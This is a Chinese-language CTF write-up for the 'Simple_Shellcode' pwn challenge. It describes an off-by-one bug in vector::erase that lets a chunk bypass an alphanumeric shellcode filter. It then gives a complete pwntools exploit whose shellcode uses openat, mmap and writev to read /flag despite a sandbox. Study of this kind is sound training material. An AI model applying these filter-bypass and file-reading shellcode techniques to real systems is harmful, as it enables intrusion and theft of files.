Simple_Shellcode
程序有两个功能
一是输入 shellcode,二是运行 shellcode
cpp
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+Ch] [rbp-34h] BYREF
_QWORD v4[6]; // [rsp+10h] [rbp-30h] BYREF
v4[3] = __readfsqword(0x28u);
sub_3602();
sub_BEEE((__int64)v4);
while ( 1 )
{
sub_3A6D();
std::istream::operator>>(&std::cin, &v3);
if ( v3 == 1 )
{
sub_3ADC((__int64)v4);
}
else if ( v3 == 2 )
{
sub_3C67(v4);
sub_3E3A((__int64)v4);
}
else
{
std::operator<<<std::char_traits<char>>(&std::cout, "浣犲湪鍋氫粈涔堝憿馃槨馃槨馃槨");
}
}
}
其中,v4
是用来存储 shellcode 的 vector
cpp
std::vector<std::string> code;
在输入功能中,一次只能输入 8 个字符
检测功能中,如果检测到 shellcode 含有非字母或数字,就会删掉这段 shellcode
cpp
if ( (unsigned __int8)sub_B9F1(v4, v3) != 1 )
{
v8 = sub_C962((__int64)a1);
v9 = sub_C9AE(&v8, i);
sub_CA14(&v10, &v9);
sub_CA42(a1, v10);
v5 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_F130);
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
当然,使用 AE64 直接生成 shellcode 也是可以的
cpp
for (i = 0; i < code.size(); i++) {
auto line = code[i];
if (!std::all_of(line.begin(), line.end(), [](char c) {
return (c >= '0' && c <= '9') || (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z');
})) {
code.erase(code.begin() + i);
std::cout << "想什么呢雑魚, 非字母是不行的😡😡😡" << std::endl;
}
}
cpp
template<typename _Tp, typename _Alloc>
typename vector<_Tp, _Alloc>::iterator
vector<_Tp, _Alloc>::
_M_erase(iterator __position)
{
if (__position + 1 != end())
_GLIBCXX_MOVE3(__position + 1, end(), __position);
--this->_M_impl._M_finish;
_Alloc_traits::destroy(this->_M_impl, this->_M_impl._M_finish);
_GLIBCXX_ASAN_ANNOTATE_SHRINK(1);
return __position;
}
通过查看 erase
的源码,发现 erase
是通过将后面的元素 MOVE 到前面,然后 --finish
实现的
而在程序实现的删除算法中,erase
后没有将 i--
,这就会导致,如果 idx=2
的元素被删除了,i++
(i=3
),而 erase
会将后面的元素 MOVE 到前面,原本 idx=3
的元素会移动到 idx=2
,这样会导致原本 idx=3
的元素绕过检测
也就是说,我们将会被删除的元素输入两次,即可绕过检测
对于沙箱,洒洒水啦:openat + mmap + writev
python
#!/usr/bin/env python3
from pwn import *
import re
context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
ru = lambda x: p.recvuntil(x)
k = 1
if k:
host = addr.split(':')
p = remote(host[0], host[1])
else:
p = process('./Simple_Shellcode')
elf = ELF('./Simple_Shellcode')
def debug():
gdb.attach(p, 'b *$rebase(0x3F50)\nc\n')
def sp_input(byte_str):
for i in range(0, len(byte_str), 8):
chunk = byte_str[i : i + 8]
input(chunk)
if re.search(rb'[a-zA-Z0-9]', chunk):
input(chunk)
def input(data):
sla(b'Choose', b'1')
sl(data)
def run_code():
sla(b'Choose', b'2')
shellcode = '''
mov rsp, rbp
'''
shellcode += shellcraft.openat(-100, "/flag", 0, 0)
shellcode += '''
mov rdi, 0x777721000
mov rsi, 0x100
mov rdx, 1
mov r10, 2
mov r8, 3
mov r9, 0
mov rax, 9
syscall
push 1
pop rdi
push 0x1 /* iov size */
pop rdx
push 0x100
mov rbx, 0x777721000
push rbx
mov rsi, rsp
push SYS_writev
pop rax
syscall
'''
payload = asm(shellcode)
sp_input(payload)
run_code()
p.interactive()